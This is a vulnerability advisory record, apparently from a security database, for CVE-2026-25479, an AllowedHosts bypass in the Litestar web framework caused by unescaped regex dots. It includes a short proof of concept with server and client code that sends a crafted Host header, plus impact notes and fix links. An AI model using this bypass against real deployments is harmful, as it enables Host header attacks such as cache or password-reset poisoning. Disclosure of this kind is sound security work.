{"id":"CVE-2026-25479","aliases":["GHSA-93ph-p7v4-hwh4","PYSEC-2026-2196"],"url":"https://o3.security/vulnerability/CVE-2026-25479","summary":"Litestar has an AllowedHosts validation bypass due to unescaped regex metacharacters in configured host patterns","details":"### Summary\nAllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom\n\n### Details\nIn litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.\n\n### PoC\nServer (poc_allowed_hosts_server.py)\n\n```\nfrom litestar import Litestar, get\nfrom litestar.middleware.allowed_hosts import AllowedHostsConfig\n\n@get(\"/\")\nasync def index() -> str:\n    return \"ok\"\n\nconfig = AllowedHostsConfig(allowed_hosts=[\"example.com\"])\napp = Litestar([index], allowed_hosts_config=config)\n```\n\n`uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001`\n\nClient (poc_allowed_hosts_client.py)\n\n```\nimport http.client\n\ndef req(host_header: str) -> tuple[int, bytes]:\n    c = http.client.HTTPConnection(\"127.0.0.1\", 8001, timeout=3)\n    c.request(\"GET\", \"/\", headers={\"Host\": host_header})\n    r = c.getresponse()\n    body = r.read()\n    c.close()\n    return r.status, body\n\nprint(\"evil.com:\", *req(\"evil.com\"))\nprint(\"exampleXcom:\", *req(\"exampleXcom\"))\n```\n\nExpected (vulnerable behavior):\nHost: evil.com → 400 invalid host\n\nHost: exampleXcom → 200 ok (bypass)\n\n### Impact\nType: security control bypass (host allowlist)\nWho is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.","published":"2026-02-09T18:48:19.971Z","modified":"2026-08-12T03:51:37.123377829Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"litestar","fixedVersion":"2.20.0"}],"fix":{"url":"https://github.com/litestar-org/litestar/commit/06b36f481d1bfea6f19995cfb4f203aba45c4ace","label":"litestar-org/litestar@06b36f4"},"references":[{"type":"WEB","url":"https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"},{"type":"WEB","url":"https://github.com/litestar-org/litestar/releases/tag/v2.20.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25479.json"},{"type":"ADVISORY","url":"https://github.com/litestar-org/litestar/security/advisories/GHSA-93ph-p7v4-hwh4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25479"},{"type":"FIX","url":"https://github.com/litestar-org/litestar/commit/06b36f481d1bfea6f19995cfb4f203aba45c4ace"},{"type":"PACKAGE","url":"https://github.com/litestar-org/litestar"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:37.123377829Z"}}